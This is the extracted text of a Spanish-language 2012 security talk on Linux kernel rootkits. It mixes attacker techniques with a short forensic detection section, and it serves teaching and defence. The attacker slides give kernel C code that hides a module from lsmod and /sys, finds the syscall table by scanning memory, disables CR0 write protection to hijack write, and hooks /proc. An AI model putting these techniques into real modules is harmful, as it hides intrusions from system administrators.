hide and find rootkits linux

Hide and Find Rootkits in Linux


Forensics and Attack Strategies

NataS::: The Lord of ChaosMarcos Ricardo Schejtman Rubio

20 de Abril de 2012


Contents1 Introduccion

Definiciones

Tipos de Rootkits

Funciones Comunes de Rootkits

2 La perspectiva del Atacante

Metodos de Ataque

Kernel Hacking

task struct modification

3 La Perspectiva Forense

Metodos de Deteccion

4 The End


Introduccion

Definiciones

Introduccion1 Introduccion

Definiciones

Tipos de Rootkits



Metodos de Ataque

Kernel Hacking




4 The End


Introduccion

Definiciones

¿Que es un Rootkit?

Un rootkit (segun Wikipedia), se puede definir como:

Un programa que permite un acceso de privilegiocontinuo a una computadora pero que mantiene supresencia activamente oculta al control de losadministradores al corromper el funcionamiento normaldel sistema operativo o de otras aplicaciones.


Introduccion

Tipos de Rootkits

Tipos de Rootkits

Practicamente podemos hablar de dos tipos de rootkits:

1 Rootkits en Espacio de Usuario, Los cuales corren enRing-3, y modifican librerıas, o archivos de configuracion, einclusive ejecutables (ls, ps, etc).

2 Rootkits en Espacio de Kernel, Los cuales corren enRing-0, y modifican estructuras del kernel, atrapan llamadasde sistema (hijacking syscall-table), etc. Podemos tenerloscomo LKM’s o como patch al kernel corriendo /dev/kmem


Introduccion



Esconder Procesos

Esconder Archivos

Esconder Conexiones de Red

Backdoors

Keyloggers

Darnos acceso a root


La perspectiva del Atacante

Metodos de Ataque


Definiciones

Tipos de Rootkits



Metodos de Ataque

Kernel Hacking




4 The End



Metodos de Ataque

Metodos de Ataque

Modificacion de las estructuras de datos (la misma quecontiene los procesos corriendo en el sistema actualmente).

Interceptando las llamadas a sistema mediante la modificacionde la tabla de llamadas o del handler de cierta syscall(Dinamyc or Static Hijacking).

Interrupt Hooking, modificando la tabla de descriptores de lasinterrupciones (IDT) 0x80.

Modificando la memoria del kernel (/dev/kmem).

Interceptando el manejo de llamadas del VFS (/proc /sys)

Virtual Memory Subversion, un ataque novedoso parapresentar vistas de la memoria de los procesos.



Kernel Hacking


Definiciones

Tipos de Rootkits



Metodos de Ataque

Kernel Hacking




4 The End



Kernel Hacking

Escondiendo desde el Kernel

The Ring Model Intel tiene cuatro anillosMS Windows y otros,manejan solo dos.Usando solo dos niveles deprivilegios, no hay separacionentre el kernel y los drivers(root es tambien ring-3).Los drivers pueden modificarla memoria asociada conobjetos del kernel... talescomo aquellos querepresentan un proceso.



Kernel Hacking

Introduciendo al LKM

Las comunicaciones entre el espacio de usuario (ring-3), y elespacio del kernel (ring-0), se hacen mediante archivos.

Debido al punto anterior, existe y conocemos /proc, /sys,/dev. Dichos directorios solo existen en RAM.

Llamadas a sistemas, estan guardadas en una tabla especial(sys call table).



Kernel Hacking

Consideraciones

Las diferencias mas importantes entre un desarrollo a nıvel kernel oespacio usuario son:

El kernel carece de proteccion de memoria... algo que seofrece en el espacio de usuario.

El kernel no puede ejecutar de manera sencilla operaciones enpunto flotante.

El kernel tiene un espacio en pila muy reducido por proceso.

Debido a la naturaleza asıncrona de las interrupciones delkernel, la concurrencia es de los temas a poner mas enfasis aldesarrollar (Race-Conditions).

La potabilidad... entre version y version de nucleo.



Kernel Hacking

Hidding the Module

El kernel maneja un lista enlazada en la cual, mantiene lareferencia de todos los modulos que estan cargados (lsmod y/proc leen dicha lista).

Esconder nuestro modulo es muy sencillo, en la funcion deinicio del modulo basta con eliminar la referencia de la lista:

list_del(&THIS_MODULE->list);

Dos problemas con esta primer aproximacion:

1 Aun somos detectables desde /sys

2 Al hacer un unload del modulo, debido a que no existe en lalista, se provoca un Oops que genera un kernel panic o crashdel sistema, dejando rastros.



Kernel Hacking

Hidding the Module

Cada entrada en /sys es un objeto module kobject (definidoen module.h) que internamente tienen una estructura del tipokobject (definido en kobject.h).

Examinando el codigo del kernel, vemos que en la descarga delmodulo, primero debemos eliminarnos de /sys yposteriormente de la vista.

Hay que tomar en cuenta, que el kernel no libera objetos queesten iniciado a NULL

Recomendaciones:

1 Recordar informacion previa (prev y next en la lista).

2 Sobreescribir readproc y writeproc

3 Funciones estaticas para no dejar rastros en /proc/kallsyms



Kernel Hacking

Hidding the Module: A little taste

static inline void natas_hide(void) {

list_del(&THIS_MODULE->list);

kobject_del(&THIS_MODULE->mkobj.kobj);

list_del(&THIS_MODULE->mkobj.kobj.entry);

kfree(THIS_MODULE->notes_attrs);

THIS_MODULE->notes_attrs = NULL;

kfree(THIS_MODULE->sect_attrs);

THIS_MODULE->sect_attrs = NULL;

kfree(THIS_MODULE->mkobj.mp);

THIS_MODULE->mkobj.mp = NULL;

THIS_MODULE->modinfo_attrs->attr.name = NULL;

kfree(THIS_MODULE->mkobj.drivers_dir);

THIS_MODULE->mkobj.drivers_dir = NULL;

}

static int __init natas_init(void) {

/*Inicializaciones del modulo*/

...

natas_hide();

return 0;

}

module_init(natas_init);





Definiciones

Tipos de Rootkits



Metodos de Ataque

Kernel Hacking




4 The End




task struct modification: Overview

El kernel de linux contiene una lista enlazada (definida eninclude/linux/types.h e include/linux/list.h) de tareas, las cualesson una estructura declarada en include/linux/sched.h.




task struct modification: Hidding

Esconder un proceso no es mas que eliminar la tarea de lospunteros prev y next de la lista tasks.




task struct modification: Issues

La eliminacion de las referencias en next y prev, ocasionan queel scheduler no vea el proceso que escondimos.

Si el scheduler no ve el proceso, no le asigna tiempo de CPU,ocasionando que la tarea se congele.

Adicional, es preciso modificar el scheduler para que asignetiempo al proceso padre del PID 0 (init).

¿Es posible encontrar el proceso? Sı. Usando gdb, conociendonuestra arquitectura y cuanto pesa nuestra task struct. A partir deahı y haciendo uso de System.map, /dev/kcore y la imagen esposible recrear la tabla de procesos.




Hijacking Syscall

Interrupciones a llamadas de sistema se usan para evitar accesos aprocesos o archivos generados por nosotros.

syscall natas_open(pathname, flags, mode) {

if (XXX==XXX)

call open(pathname, flags, mode)

else

printf("Not found");

}




Dinamyc Hijacking

La direccion de la sys call table, puede ser encontrada en el archivoSystem.map-$(uname -r) ¿Que ocurre cuando ya no existe esearchivo?

El rango de memoria del kernel en arquitecturas X86 es del0xc0000000 al 0xffffffff. Ahora bien, para encontrar la sys call tablebasta con buscar hasta la 0xd0000000 ¿porque?CONFIG HIGHMEM.

Para x86 64 podemos encontrar el inicio de la memoria del kernelen 0xffffffff81000000 y de ahi podemos iterar hasta 0xffffffffffffffff,es de destacar que igual que en la arquitectura de 32Bits, nodebemos iterar todas las direcciones, basta iterar hasta0xffffffff81ffffff.

Finalmente... solo basta comparar alguna sys call cuyos sımbolos seexporten, sys close por ejemplo.




Dinamyc Hijacking

#if defined __x86_64__

#define START_MEM 0xffffffff81000000

#define END_MEM 0xffffffff81ffffff

#else

#define START_MEM 0xc0000000

#define END_MEM 0xd0000000

#endif

unsigned long **find_syscalltable() {

unsigned long **syscalltable;

unsigned long int i = START_MEM;

while ( i < END_MEM) {

sctable = (unsigned long **)i;

if ( syscalltable[__NR_close] == (unsigned long *)sys_close) {

return &syscalltable[0];

}

i += sizeof(void *);

}

return NULL;

}




Dinamyc Hijacking

Pero la sys call table esta protegida contra escritura ¿o no? Existendiferentes registros de procesador, el que nos interesa es el cr0. Elkernel nos da dos funciones para manipular este registro: write cr0y read cr0.

El Bit 0 de este registro maneja el Protected Mode, por ello sellama WP bit. Solo basta modificar este bit antes y despues delhijacking

write_cr0 (read_cr0 () & (~ 0x10000));

printk(KERN_ALERT "\nWrite Protection Disabled XD");

original_write = (void *)syscall_table[__NR_write];

syscall_table[__NR_write] = new_write;

write_cr0 (read_cr0 () | 0x10000);

printk(KERN_ALERT "\nWrite Protection Enabled");

/*

0X10000 --> 000...010000000000000000

~(0X10000) --> 111...101111111111111111

*/




Hijacking VFS

Interrupciones a llamadas de sistema se usan para evitar accesos aprocesos o archivos generados por nosotros.

syscall natas_lookup(parent_directory,

pathname, ...) {

if (XXX==XXX)

call real_lookup(parent_directory,

pathname, ...)

else

printf("Error");

}




Hijacking VFS

struct inode *pinode;

const struct file_operations *proc_original;

static struct file_operations proc_fops;

void hook_proc(struct proc_dir_entry *root) {

struct path proc_path;

if (kern_path("/proc/",0,&proc_path))

return;

pinode = proc_path.dentry->d_inode;

if(!pinode)

return;

proc_fops = *pinode->i_fop;

proc_original = pinode->i_fop;

proc_fops.readdir = natas_lookup;

pinode->i_fop = &proc_fops;

}


La Perspectiva Forense



Definiciones

Tipos de Rootkits



Metodos de Ataque

Kernel Hacking




4 The End





Comparando la tabla de Sımbolos, Cada cierto tiempo serealizar comparaciones con la tabla de Sistema original(System.map) con la actual tabla.

Analisis de Binarios, desde metodos tan sencillos comoconstantes revisiones de la suma MD5, hasta utilizacion detrazas y visualizacion de estructuras de datos sobre el kernel.

Analisis del Path de Ejecucion, Un rotkit modifica elcamino de ejecucion de una llamada a sistema




Path Analysis





root@alien-natas:~# dmesg | grep -i task

[ 3.082767] registered taskstats version 1

[ 251.622695] My task_struct --> 1048

root@alien-natas:~# grep init_task /boot/System.map-3.2.0-1-686-pae | grep D

c13d8fe0 D init_task

root@alien-natas:~# gdb /boot/vmlinuz-3.2.0-1-686-pae /proc/kcore

Core was generated by ‘BOOT_IMAGE=/vmlinuz-3.2.0-1-686-pae

root=/dev/mapper/sda2_crypt ro single’.

#0 0x00000000 in ?? ()

(gdb) x/262wx 0xc13d8fe0

0xc13d8fe0: 0x00000000 0xc13d2000 0x00000002 0x00200000

0xc13d8ff0: 0x00000000 0x00000000 0x00000001 0x00000000

0xc13d9000: 0x00000078 0x00000078 0x00000078 0x00000000

0xc13d9010: 0xc12c3404 0x00000400 0x00400000 0x00000000

0xc13d9020: 0x00000000 0x00000000 0xc13d9028 0xc13d9028

0xc13d9030: 0x00000000 0x00000000 0x00000000 0x00000000

0xc13d9040: 0x00000000 0x00000000 0x00000000 0x00000000

0xc13d9050: 0x00000000 0x00000000 0x00000000 0x00000000

0xc13d9060: 0xf7607a04 0x00000000 0xc13d9068 0xc13d9068

0xc13d9070: 0x00000000 0x000000fa 0x00000001 0x00000000

0xc13d9080: 0x00000000 0x00000000 0x00000000 0x00000000


The End

Greetings

Gr33tz!!

@nitr0usmx@ hkm@calderpwn@ch1rx

@preth00nker@ tty0@psymera@napa topos

—————————————————————————–Autor: Marcos Ricardo Schejtman RubioE-Mail: [email protected]: @natashell666

5EBD 2AEB 5618 4F0C D62C 89D8 C59B 834A 4E19 1537

LATEX para todos

hide and find rootkits linux

Documents

kernel ring

rootkits en espacio

kernel tiene

kernel devkmem

atacante kernel hackinghidding

kernel carece

rootkits funciones comunes

n kernel o